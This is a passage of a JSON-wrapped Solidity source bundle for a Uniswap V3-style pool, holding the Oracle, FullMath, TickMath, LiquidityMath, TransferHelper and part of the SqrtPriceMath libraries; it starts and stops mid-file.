hit type(uint128).max fees\n self.tokensOwed0 += tokensOwed0;\n self.tokensOwed1 += tokensOwed1;\n }\n }\n}\n"
},
"contracts/libraries/Oracle.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\n/// @title Oracle\n/// @notice Provides price and liquidity data useful for a wide variety of system designs\n/// @dev Instances of stored oracle data, \"observations\", are collected in the oracle array\n/// Every pool is initialized with an oracle array length of 1. Anyone can pay the SSTOREs to increase the\n/// maximum length of the oracle array. New slots will be added when the array is fully populated.\n/// Observations are overwritten when the full length of the oracle array is populated.\n/// The most recent observation is available, independent of the length of the oracle array, by passing 0 to observe()\nlibrary Oracle {\n struct Observation {\n // the block timestamp of the observation\n uint32 blockTimestamp;\n // the tick accumulator, i.e. tick * time elapsed since the pool was first initialized\n int56 tickCumulative;\n // the seconds per liquidity, i.e. seconds elapsed / max(1, liquidity) since the pool was first initialized\n uint160 secondsPerLiquidityCumulativeX128;\n // whether or not the observation is initialized\n bool initialized;\n }\n\n /// @notice Transforms a previous observation into a new observation, given the passage of time and the current tick and liquidity values\n /// @dev blockTimestamp _must_ be chronologically equal to or greater than last.blockTimestamp, safe for 0 or 1 overflows\n /// @param last The specified observation to be transformed\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @return Observation The newly populated observation\n function transform(\n Observation memory last,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity\n ) private pure returns (Observation memory) {\n uint32 delta = blockTimestamp - last.blockTimestamp;\n return\n Observation({\n blockTimestamp: blockTimestamp,\n tickCumulative: last.tickCumulative + int56(tick) * delta,\n secondsPerLiquidityCumulativeX128: last.secondsPerLiquidityCumulativeX128 +\n ((uint160(delta) << 128) / (liquidity > 0 ? liquidity : 1)),\n initialized: true\n });\n }\n\n /// @notice Initialize the oracle array by writing the first slot. Called once for the lifecycle of the observations array\n /// @param self The stored oracle array\n /// @param time The time of the oracle initialization, via block.timestamp truncated to uint32\n /// @return cardinality The number of populated elements in the oracle array\n /// @return cardinalityNext The new length of the oracle array, independent of population\n function initialize(Observation[65535] storage self, uint32 time)\n internal\n returns (uint16 cardinality, uint16 cardinalityNext)\n {\n self[0] = Observation({\n blockTimestamp: time,\n tickCumulative: 0,\n secondsPerLiquidityCumulativeX128: 0,\n initialized: true\n });\n return (1, 1);\n }\n\n /// @notice Writes an oracle observation to the array\n /// @dev Writable at most once per block. Index represents the most recently written element. cardinality and index must be tracked externally.\n /// If the index is at the end of the allowable array length (according to cardinality), and the next cardinality\n /// is greater than the current one, cardinality may be increased. This restriction is created to preserve ordering.\n /// @param self The stored oracle array\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param blockTimestamp The timestamp of the new observation\n /// @param tick The active tick at the time of the new observation\n /// @param liquidity The total in-range liquidity at the time of the new observation\n /// @param cardinality The number of populated elements in the oracle array\n /// @param cardinalityNext The new length of the oracle array, independent of population\n /// @return indexUpdated The new index of the most recently written element in the oracle array\n /// @return cardinalityUpdated The new cardinality of the oracle array\n function write(\n Observation[65535] storage self,\n uint16 index,\n uint32 blockTimestamp,\n int24 tick,\n uint128 liquidity,\n uint16 cardinality,\n uint16 cardinalityNext\n ) internal returns (uint16 indexUpdated, uint16 cardinalityUpdated) {\n Observation memory last = self[index];\n\n // early return if we've already written an observation this block\n if (last.blockTimestamp == blockTimestamp) return (index, cardinality);\n\n // if the conditions are right, we can bump the cardinality\n if (cardinalityNext > cardinality && index == (cardinality - 1)) {\n cardinalityUpdated = cardinalityNext;\n } else {\n cardinalityUpdated = cardinality;\n }\n\n indexUpdated = (index + 1) % cardinalityUpdated;\n self[indexUpdated] = transform(last, blockTimestamp, tick, liquidity);\n }\n\n /// @notice Prepares the oracle array to store up to `next` observations\n /// @param self The stored oracle array\n /// @param current The current next cardinality of the oracle array\n /// @param next The proposed next cardinality which will be populated in the oracle array\n /// @return next The next cardinality which will be populated in the oracle array\n function grow(\n Observation[65535] storage self,\n uint16 current,\n uint16 next\n ) internal returns (uint16) {\n require(current > 0, 'I');\n // no-op if the passed next value isn't greater than the current next value\n if (next <= current) return current;\n // store in each slot to prevent fresh SSTOREs in swaps\n // this data will not be used because the initialized boolean is still false\n for (uint16 i = current; i < next; i++) self[i].blockTimestamp = 1;\n return next;\n }\n\n /// @notice comparator for 32-bit timestamps\n /// @dev safe for 0 or 1 overflows, a and b _must_ be chronologically before or equal to time\n /// @param time A timestamp truncated to 32 bits\n /// @param a A comparison timestamp from which to determine the relative position of `time`\n /// @param b From which to determine the relative position of `time`\n /// @return bool Whether `a` is chronologically <= `b`\n function lte(\n uint32 time,\n uint32 a,\n uint32 b\n ) private pure returns (bool) {\n // if there hasn't been overflow, no need to adjust\n if (a <= time && b <= time) return a <= b;\n\n uint256 aAdjusted = a > time ? a : a + 2**32;\n uint256 bAdjusted = b > time ? b : b + 2**32;\n\n return aAdjusted <= bAdjusted;\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a target, i.e. where [beforeOrAt, atOrAfter] is satisfied.\n /// The result may be the same observation, or adjacent observations.\n /// @dev The answer must be contained in the array, used when the target is located within the stored observation\n /// boundaries: older than the most recent observation and younger, or the same age as, the oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation recorded before, or at, the target\n /// @return atOrAfter The observation recorded at, or after, the target\n function binarySearch(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n uint16 index,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n uint256 l = (index + 1) % cardinality; // oldest observation\n uint256 r = l + cardinality - 1; // newest observation\n uint256 i;\n while (true) {\n i = (l + r) / 2;\n\n beforeOrAt = self[i % cardinality];\n\n // we've landed on an uninitialized tick, keep searching higher (more recently)\n if (!beforeOrAt.initialized) {\n l = i + 1;\n continue;\n }\n\n atOrAfter = self[(i + 1) % cardinality];\n\n bool targetAtOrAfter = lte(time, beforeOrAt.blockTimestamp, target);\n\n // check if we've found the answer!\n if (targetAtOrAfter && lte(time, target, atOrAfter.blockTimestamp)) break;\n\n if (!targetAtOrAfter) r = i - 1;\n else l = i + 1;\n }\n }\n\n /// @notice Fetches the observations beforeOrAt and atOrAfter a given target, i.e. where [beforeOrAt, atOrAfter] is satisfied\n /// @dev Assumes there is at least 1 initialized observation.\n /// Used by observeSingle() to compute the counterfactual accumulator values as of a given block timestamp.\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param target The timestamp at which the reserved observation should be for\n /// @param tick The active tick at the time of the returned or simulated observation\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The total pool liquidity at the time of the call\n /// @param cardinality The number of populated elements in the oracle array\n /// @return beforeOrAt The observation which occurred at, or before, the given timestamp\n /// @return atOrAfter The observation which occurred at, or after, the given timestamp\n function getSurroundingObservations(\n Observation[65535] storage self,\n uint32 time,\n uint32 target,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) private view returns (Observation memory beforeOrAt, Observation memory atOrAfter) {\n // optimistically set before to the newest observation\n beforeOrAt = self[index];\n\n // if the target is chronologically at or after the newest observation, we can early return\n if (lte(time, beforeOrAt.blockTimestamp, target)) {\n if (beforeOrAt.blockTimestamp == target) {\n // if newest observation equals target, we're in the same block, so we can ignore atOrAfter\n return (beforeOrAt, atOrAfter);\n } else {\n // otherwise, we need to transform\n return (beforeOrAt, transform(beforeOrAt, target, tick, liquidity));\n }\n }\n\n // now, set before to the oldest observation\n beforeOrAt = self[(index + 1) % cardinality];\n if (!beforeOrAt.initialized) beforeOrAt = self[0];\n\n // ensure that the target is chronologically at or after the oldest observation\n require(lte(time, beforeOrAt.blockTimestamp, target), 'OLD');\n\n // if we've reached this point, we have to binary search\n return binarySearch(self, time, target, index, cardinality);\n }\n\n /// @dev Reverts if an observation at or before the desired observation timestamp does not exist.\n /// 0 may be passed as `secondsAgo' to return the current cumulative values.\n /// If called with a timestamp falling between two observations, returns the counterfactual accumulator values\n /// at exactly the timestamp between the two observations.\n /// @param self The stored oracle array\n /// @param time The current block timestamp\n /// @param secondsAgo The amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulative The tick * time elapsed since the pool was first initialized, as of `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128 The time elapsed / max(1, liquidity) since the pool was first initialized, as of `secondsAgo`\n function observeSingle(\n Observation[65535] storage self,\n uint32 time,\n uint32 secondsAgo,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56 tickCumulative, uint160 secondsPerLiquidityCumulativeX128) {\n if (secondsAgo == 0) {\n Observation memory last = self[index];\n if (last.blockTimestamp != time) last = transform(last, time, tick, liquidity);\n return (last.tickCumulative, last.secondsPerLiquidityCumulativeX128);\n }\n\n uint32 target = time - secondsAgo;\n\n (Observation memory beforeOrAt, Observation memory atOrAfter) =\n getSurroundingObservations(self, time, target, tick, index, liquidity, cardinality);\n\n if (target == beforeOrAt.blockTimestamp) {\n // we're at the left boundary\n return (beforeOrAt.tickCumulative, beforeOrAt.secondsPerLiquidityCumulativeX128);\n } else if (target == atOrAfter.blockTimestamp) {\n // we're at the right boundary\n return (atOrAfter.tickCumulative, atOrAfter.secondsPerLiquidityCumulativeX128);\n } else {\n // we're in the middle\n uint32 observationTimeDelta = atOrAfter.blockTimestamp - beforeOrAt.blockTimestamp;\n uint32 targetDelta = target - beforeOrAt.blockTimestamp;\n return (\n beforeOrAt.tickCumulative +\n ((atOrAfter.tickCumulative - beforeOrAt.tickCumulative) / observationTimeDelta) *\n targetDelta,\n beforeOrAt.secondsPerLiquidityCumulativeX128 +\n uint160(\n (uint256(\n atOrAfter.secondsPerLiquidityCumulativeX128 - beforeOrAt.secondsPerLiquidityCumulativeX128\n ) * targetDelta) / observationTimeDelta\n )\n );\n }\n }\n\n /// @notice Returns the accumulator values as of each time seconds ago from the given time in the array of `secondsAgos`\n /// @dev Reverts if `secondsAgos` > oldest observation\n /// @param self The stored oracle array\n /// @param time The current block.timestamp\n /// @param secondsAgos Each amount of time to look back, in seconds, at which point to return an observation\n /// @param tick The current tick\n /// @param index The index of the observation that was most recently written to the observations array\n /// @param liquidity The current in-range pool liquidity\n /// @param cardinality The number of populated elements in the oracle array\n /// @return tickCumulatives The tick * time elapsed since the pool was first initialized, as of each `secondsAgo`\n /// @return secondsPerLiquidityCumulativeX128s The cumulative seconds / max(1, liquidity) since the pool was first initialized, as of each `secondsAgo`\n function observe(\n Observation[65535] storage self,\n uint32 time,\n uint32[] memory secondsAgos,\n int24 tick,\n uint16 index,\n uint128 liquidity,\n uint16 cardinality\n ) internal view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) {\n require(cardinality > 0, 'I');\n\n tickCumulatives = new int56[](secondsAgos.length);\n secondsPerLiquidityCumulativeX128s = new uint160[](secondsAgos.length);\n for (uint256 i = 0; i < secondsAgos.length; i++) {\n (tickCumulatives[i], secondsPerLiquidityCumulativeX128s[i]) = observeSingle(\n self,\n time,\n secondsAgos[i],\n tick,\n index,\n liquidity,\n cardinality\n );\n }\n }\n}\n"
},
"contracts/libraries/FullMath.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.4.0;\n\n/// @title Contains 512-bit math functions\n/// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision\n/// @dev Handles \"phantom overflow\" i.e., allows multiplication and division where an intermediate value overflows 256 bits\nlibrary FullMath {\n /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv\n function mulDiv(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n // 512-bit multiply [prod1 prod0] = a * b\n // Compute the product mod 2**256 and mod 2**256 - 1\n // then use the Chinese Remainder Theorem to reconstruct\n // the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2**256 + prod0\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(a, b, not(0))\n prod0 := mul(a, b)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division\n if (prod1 == 0) {\n require(denominator > 0);\n assembly {\n result := div(prod0, denominator)\n }\n return result;\n }\n\n // Make sure the result is less than 2**256.\n // Also prevents denominator == 0\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0]\n // Compute remainder using mulmod\n uint256 remainder;\n assembly {\n remainder := mulmod(a, b, denominator)\n }\n // Subtract 256 bit number from 512 bit number\n assembly {\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator\n // Compute largest power of two divisor of denominator.\n // Always >= 1.\n uint256 twos = -denominator & denominator;\n // Divide denominator by power of two\n assembly {\n denominator := div(denominator, twos)\n }\n\n // Divide [prod1 prod0] by the factors of two\n assembly {\n prod0 := div(prod0, twos)\n }\n // Shift in bits from prod1 into prod0. For this we need\n // to flip `twos` such that it is 2**256 / twos.\n // If twos is zero, then it becomes one\n assembly {\n twos := add(div(sub(0, twos), twos), 1)\n }\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2**256\n // Now that denominator is an odd number, it has an inverse\n // modulo 2**256 such that denominator * inv = 1 mod 2**256.\n // Compute the inverse by starting with a seed that is correct\n // correct for four bits. That is, denominator * inv = 1 mod 2**4\n uint256 inv = (3 * denominator) ^ 2;\n // Now use Newton-Raphson iteration to improve the precision.\n // Thanks to Hensel's lifting lemma, this also works in modular\n // arithmetic, doubling the correct bits in each step.\n inv *= 2 - denominator * inv; // inverse mod 2**8\n inv *= 2 - denominator * inv; // inverse mod 2**16\n inv *= 2 - denominator * inv; // inverse mod 2**32\n inv *= 2 - denominator * inv; // inverse mod 2**64\n inv *= 2 - denominator * inv; // inverse mod 2**128\n inv *= 2 - denominator * inv; // inverse mod 2**256\n\n // Because the division is now exact we can divide by multiplying\n // with the modular inverse of denominator. This will give us the\n // correct result modulo 2**256. Since the precoditions guarantee\n // that the outcome is less than 2**256, this is the final result.\n // We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inv;\n return result;\n }\n\n /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n /// @param a The multiplicand\n /// @param b The multiplier\n /// @param denominator The divisor\n /// @return result The 256-bit result\n function mulDivRoundingUp(\n uint256 a,\n uint256 b,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n result = mulDiv(a, b, denominator);\n if (mulmod(a, b, denominator) > 0) {\n require(result < type(uint256).max);\n result++;\n }\n }\n}\n"
},
"contracts/libraries/FixedPoint128.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.4.0;\n\n/// @title FixedPoint128\n/// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format)\nlibrary FixedPoint128 {\n uint256 internal constant Q128 = 0x100000000000000000000000000000000;\n}\n"
},
"contracts/libraries/TransferHelper.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.6.0;\n\nimport '../interfaces/IERC20Minimal.sol';\n\n/// @title TransferHelper\n/// @notice Contains helper methods for interacting with ERC20 tokens that do not consistently return true/false\nlibrary TransferHelper {\n /// @notice Transfers tokens from msg.sender to a recipient\n /// @dev Calls transfer on token contract, errors with TF if transfer fails\n /// @param token The contract address of the token which will be transferred\n /// @param to The recipient of the transfer\n /// @param value The value of the transfer\n function safeTransfer(\n address token,\n address to,\n uint256 value\n ) internal {\n (bool success, bytes memory data) =\n token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');\n }\n}\n"
},
"contracts/libraries/TickMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for computing sqrt prices from ticks and vice versa\n/// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports\n/// prices between 2**-128 and 2**128\nlibrary TickMath {\n /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128\n int24 internal constant MIN_TICK = -887272;\n /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128\n int24 internal constant MAX_TICK = -MIN_TICK;\n\n /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK)\n uint160 internal constant MIN_SQRT_RATIO = 4295128739;\n /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK)\n uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342;\n\n /// @notice Calculates sqrt(1.0001^tick) * 2^96\n /// @dev Throws if |tick| > max tick\n /// @param tick The input tick for the above formula\n /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0)\n /// at the given tick\n function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) {\n uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick));\n require(absTick <= uint256(MAX_TICK), 'T');\n\n uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000;\n if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128;\n if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128;\n if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128;\n if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128;\n if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128;\n if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128;\n if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128;\n if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128;\n if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128;\n if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128;\n if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128;\n if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128;\n if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128;\n if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128;\n if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128;\n if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128;\n if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128;\n if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128;\n if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128;\n\n if (tick > 0) ratio = type(uint256).max / ratio;\n\n // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96.\n // we then downcast because we know the result always fits within 160 bits due to our tick input constraint\n // we round up in the division so getTickAtSqrtRatio of the output price is always consistent\n sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1));\n }\n\n /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n /// ever return.\n /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96\n /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio\n function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R');\n uint256 ratio = uint256(sqrtPriceX96) << 32;\n\n uint256 r = ratio;\n uint256 msb = 0;\n\n assembly {\n let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(5, gt(r, 0xFFFFFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(4, gt(r, 0xFFFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(3, gt(r, 0xFF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(2, gt(r, 0xF))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := shl(1, gt(r, 0x3))\n msb := or(msb, f)\n r := shr(f, r)\n }\n assembly {\n let f := gt(r, 0x1)\n msb := or(msb, f)\n }\n\n if (msb >= 128) r = ratio >> (msb - 127);\n else r = ratio << (127 - msb);\n\n int256 log_2 = (int256(msb) - 128) << 64;\n\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(63, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(62, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(61, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(60, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(59, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(58, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(57, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(56, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(55, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(54, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(53, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(52, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(51, f))\n r := shr(f, r)\n }\n assembly {\n r := shr(127, mul(r, r))\n let f := shr(128, r)\n log_2 := or(log_2, shl(50, f))\n }\n\n int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number\n\n int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128);\n int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128);\n\n tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow;\n }\n}\n"
},
"contracts/libraries/LiquidityMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Math library for liquidity\nlibrary LiquidityMath {\n /// @notice Add a signed liquidity delta to liquidity and revert if it overflows or underflows\n /// @param x The liquidity before change\n /// @param y The delta by which liquidity should be changed\n /// @return z The liquidity delta\n function addDelta(uint128 x, int128 y) internal pure returns (uint128 z) {\n if (y < 0) {\n require((z = x - uint128(-y)) < x, 'LS');\n } else {\n require((z = x + uint128(y)) >= x, 'LA');\n }\n }\n}\n"
},
"contracts/libraries/SqrtPriceMath.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './FullMath.sol';\nimport './UnsafeMath.sol';\nimport './FixedPoint96.sol';\n\n/// @title Functions based on Q64.96 sqrt price and liquidity\n/// @notice Contains the math that uses square root of price as a Q64.96 and liquidity to compute deltas\nlibrary SqrtPriceMath {\n using LowGasSafeMath for uint256;\n using SafeCast for uint256;\n\n /// @notice Gets the next sqrt price given a delta of token0\n /// @dev Always rounds up, because in the exact output case (increasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (decreasing price) we need to move the\n /// price less in order to not send too much output.\n /// The most precise formula for this is liquidity * sqrtPX96 / (liquidity +- amount * sqrtPX96),\n /// if this is impossible because of overflow, we calculate liquidity / (liquidity / sqrtPX96 +- amount).\n /// @param sqrtPX96 The starting price, i.e. before accounting for the token0 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token0 to add or remove from virtual reserves\n /// @param add Whether to add or remove the amount of token0\n /// @return The price after adding or removing amount, depending on add\n function getNextSqrtPriceFromAmount0RoundingUp(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // we short circuit amount == 0 because the result is otherwise not guaranteed to equal the input price\n if (amount == 0) return sqrtPX96;\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n\n if (add) {\n uint256 product;\n if ((product = amount * sqrtPX96) / amount == sqrtPX96) {\n uint256 denominator = numerator1 + product;\n if (denominator >= numerator1)\n // always fits in 160 bits\n return uint160(FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator));\n }\n\n return uint160(UnsafeMath.divRoundingUp(numerator1, (numerator1 / sqrtPX96).add(amount)));\n } else {\n uint256 product;\n // if the product overflows, we know the denominator underflows\n // in addition, we must check that the denominator does not underflow\n require((product = amount * sqrtPX96) / amount == sqrtPX96 && numerator1 > product);\n uint256 denominator = numerator1 - product;\n return FullMath.mulDivRoundingUp(numerator1, sqrtPX96, denominator).toUint160();\n }\n }\n\n /// @notice Gets the next sqrt price given a delta of token1\n /// @dev Always rounds down, because in the exact output case (decreasing price) we need to move the price at least\n /// far enough to get the desired output amount, and in the exact input case (increasing price) we need to move the\n /// price less in order to not send too much output.\n /// The formula we compute is within <1 wei of the lossless version: sqrtPX96 +- amount / liquidity\n /// @param sqrtPX96 The starting price, i.e., before accounting for the token1 delta\n /// @param liquidity The amount of usable liquidity\n /// @param amount How much of token1 to add, or remove, from virtual reserves\n /// @param add Whether to add, or remove, the amount of token1\n /// @return The price after adding or removing `amount`\n function getNextSqrtPriceFromAmount1RoundingDown(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amount,\n bool add\n ) internal pure returns (uint160) {\n // if we're adding (subtracting), rounding down requires rounding the quotient down (up)\n // in both cases, avoid a mulDiv for most inputs\n if (add) {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? (amount << FixedPoint96.RESOLUTION) / liquidity\n : FullMath.mulDiv(amount, FixedPoint96.Q96, liquidity)\n );\n\n return uint256(sqrtPX96).add(quotient).toUint160();\n } else {\n uint256 quotient =\n (\n amount <= type(uint160).max\n ? UnsafeMath.divRoundingUp(amount << FixedPoint96.RESOLUTION, liquidity)\n : FullMath.mulDivRoundingUp(amount, FixedPoint96.Q96, liquidity)\n );\n\n require(sqrtPX96 > quotient);\n // always fits 160 bits\n return uint160(sqrtPX96 - quotient);\n }\n }\n\n /// @notice Gets the next sqrt price given an input amount of token0 or token1\n /// @dev Throws if price or liquidity are 0, or if the next price is out of bounds\n /// @param sqrtPX96 The starting price, i.e., before accounting for the input amount\n /// @param liquidity The amount of usable liquidity\n /// @param amountIn How much of token0, or token1, is being swapped in\n /// @param zeroForOne Whether the amount in is token0 or token1\n /// @return sqrtQX96 The price after adding the input amount to token0 or token1\n function getNextSqrtPriceFromInput(\n uint160 sqrtPX96,\n uint128 liquidity,\n uint256 amountIn,\n bool zeroForOne\n ) internal pure returns (uint160 sqrtQX96) {\n require(sqrtPX96 > 0);\n require(liquidity > 0);\n\n // round to make sure that we don't pass the target price\n return\n zeroForOne\n ? getNextSqrtPriceFromAmount0RoundingUp(sqrtPX96, liquidity, amountIn, true)\n : getNextSqrtPriceFromAmount1RoundingDown(sqrtPX96, liquidity, amountIn, true);\n }\n\n /// @notice Gets the next sqrt price given an output amount of token0 or token1\n /// @dev Throws if price or liquidity are 0 or the next price is out of 